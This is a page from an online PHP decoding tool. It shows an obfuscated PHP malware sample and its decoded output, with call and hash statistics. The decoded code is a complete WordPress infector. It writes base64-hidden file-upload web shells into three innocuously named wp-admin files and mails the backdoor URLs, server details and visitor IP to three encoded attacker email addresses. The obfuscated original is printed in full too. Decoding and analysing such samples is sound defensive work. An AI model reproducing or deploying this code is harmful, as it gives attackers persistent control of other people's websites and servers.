Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$include = "7VZtc6JIEP4rFGWVWnlRIO7GZL1cRHnzogYFlEvOAmZQdBgoAdH8+pshMXFfks3ux7v4xemmn6e7Z5..

Decoded Output download

$path1 = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/includes/class-wp-filesystem-intext.php';$path2 = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/network/plugin-function.php';$path3 = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/user/info.php';$content1 = "<?php eval(base64_decode('ZWNobyAnPGI+U29oYWkgUHJpdmF0ZSB1cGxvYWRlcjwvYj4nOwplY2hvICc8Yj48YnI+Jy5waHBfdW5hbWUoKS4nPC9iPic7CmVjaG8gJzxwcmU+PD9waHAgc3lzdGVtKCJscyAtbGEiKTs/PjwvcHJlPic7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7ZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkge2lmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPlVwbG9hZCBTdWNjZXNzICEhITwvYj48YnI+PGJyPic7IH0JZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBGYWlsICEhITwvYj48YnI+PGJyPic7IH0KfQ=='));?>";$content2 = "<?php eval(base64_decode('ZWNobyAnPGI+U29oYWkgUHJpdmF0ZSB1cGxvYWRlcjwvYj4nOwplY2hvICc8Yj48YnI+Jy5waHBfdW5hbWUoKS4nPC9iPic7CmVjaG8gJzxwcmU+PD9waHAgc3lzdGVtKCJscyAtbGEiKTs/PjwvcHJlPic7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7ZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkge2lmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPlVwbG9hZCBTdWNjZXNzICEhITwvYj48YnI+PGJyPic7IH0JZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBGYWlsICEhITwvYj48YnI+PGJyPic7IH0KfQ=='));?>";$content3 = "<?php eval(base64_decode('ZWNobyAnPGI+U29oYWkgUHJpdmF0ZSB1cGxvYWRlcjwvYj4nOwplY2hvICc8Yj48YnI+Jy5waHBfdW5hbWUoKS4nPC9iPic7CmVjaG8gJzxwcmU+PD9waHAgc3lzdGVtKCJscyAtbGEiKTs/PjwvcHJlPic7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7ZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkge2lmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPlVwbG9hZCBTdWNjZXNzICEhITwvYj48YnI+PGJyPic7IH0JZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBGYWlsICEhITwvYj48YnI+PGJyPic7IH0KfQ=='));?> ";$txt = fopen($path1,"a+");fwrite($txt, $content1);$txt = fopen($path2,"a+");fwrite($txt, $content2);$txt = fopen($path3,"a+");fwrite($txt, $content3);fclose($txt);$info = base64_decode("bWFpbGxpc3Q1N0B5bWFpbC5jb20=");$info2 = base64_decode("c29oYWluZXdiaWVAeWFob28uY29t");$info3 = base64_decode("c29oYWluZXdiaWVAZ21haWwuY29t");($safe_mode)?($type="ON"):($type="worm-uploader");$base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];$base1="http://".$_SERVER['HTTP_HOST'].'/wp-admin/includes/class-wp-filesystem-intext.php';$base2="http://".$_SERVER['HTTP_HOST'].'/wp-admin/network/plugin-function.php';$base3="http://".$_SERVER['HTTP_HOST'].'/wp-admin/user/info.php';$name = php_uname(); $ip = getenv("REMOTE_ADDR");$ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR]);$subj = $_SERVER['HTTP_HOST'];$cernel = "
Webackdoor: $base
Uname     : $name
Infection1 : $base1
Infection2 : $base2
Infection3 : $base3
IP: $ip
Host: $ip2 $p_code";$from ="From: ".$writ."_^_".$type."<tool@".$_SERVER['HTTP_HOST'].">";mail( $info,$subj, $cernel, $from);mail( $info2,$subj, $cernel, $from);mail( $info3,$subj, $cernel, $from);

Did this file decode correctly?

Original Code

$include = "7VZtc6JIEP4rFGWVWnlRIO7GZL1cRHnzogYFlEvOAmZQdBgoAdH8+pshMXFfks3ux7v4xemmn6e7Z56p6VLspAuOaTGl2airm13973JnIBo33f54pg8G4/L9abmWxycOCANcC7CHMgCTmoecJDkhfj9AMNklKQxPApzCbXoaL+LyZYnS8u+lxTDNo/WqFqNsHuATP8NeGkT4gEp4L1WWwDUp04+ewF5EqsIp7ZD9ckV8DNw4qOI6Cfx0NgPQiwCslG2rH7m7azyU1SODb0ZTazU3FC0GoVS3R23Ok7ebqaUjb5lvpsszPMhjNOUXG1X0zol9PsXqkbZr5I7S9oHVWLiWEfVGZ3goNoNh4H0WQ3PpyOdz7WGbe6FxNOw0Sez13BPQA5DNtCdqibe7Tl25G/TGSW1I8niKhr7Bhq6gpaosLYGMNu6yHqhBO7UneuTyt00VtzeecBuosplNBb3hyUZTDTnOVfTYk6UdEJsF/i9LXwCSR5WLOgnOzF25ubBlc0f4YrtTD8Cknbi8tLInalH/y/6gzFPMuqrs+e3YlY0Xrr2t9GMYEntp5CrZH8dq5GByO3dDKbXH9WAikJyiOgcKyqntCWbgWqi+z//8PZQSQHnRU42iejR86oPW5VjTSBV13+g2x6aU4EccAGqn3lRFzXw8N7In4moOeRT2uu2lK7QbPYLRV+hGN/uuxhc144mZYCBz+YQvesGTUT7XpKY8MraSwSXYDlFijwCwdiCbWhzSuHrcG7U/k/3en08wfK6zPQZWf2lP+g+q2F2o40I3hU6GsrajtatKXbOt7YP9Ooc8tVDyBr7n37Za5Wr18uoP9lnq/IfUP6T+/5C68CH1D6n/l6XOEK2n25TI3I9iiCvFLMQds84RW73083WQwgoNOGaeB53qDxD8Wwj+RwjhLYRA/B6Kkkc/gdN5i+C/vn6sa0nkCLYxkS/Xr7cbhS02li5fb7FPKP57mFfcVJTZExA4lnkNLYnchPNsyjfTPUz4OczmuYVj5XtYpZQ4PpyFJLZ6RerexbDFDvps9WJvkAk0PMliFDkArmkimqDFLtI0vqjV2NOX8VMZj4czZTCio+eLV+/eGt3ReGboavn+Ec39FP5bszWl5n+F+u35mtIJv0L37YyNnRCSAyHGLKPrSvWSKQUxcc0h0cumwurdm8G4O7vudPTiCGP+8eMiSlJ35wCwrjxnPYi9J7FJ5i6/Gv4PiiIPAVxjiOgzcIct6DreCkTR+oIpmrrDRlEa/REXXd9hFfuw6J5jnsK4Aye/d/IHTmHvFIhzeEF7u8MKKb1Y8kwpnlENkrvqr6OQabES+btgyE7S23PKzv6ZkTVV2Sn7JY0i9Odrm8ySxy10AlRhCpkfF93Ti1e0SRY0QfUwhH9HjPBazL8="; eval(gzinflate(base64_decode($include )));

Function Calls

gzinflate 1
base64_decode 1

Variables

$include 7VZtc6JIEP4rFGWVWnlRIO7GZL1cRHnzogYFlEvOAmZQdBgoAdH8+pshMXFf..

Stats

MD5 d9580810258ff4a05711caa5c4f32aec
Eval Count 1
Decode Time 83 ms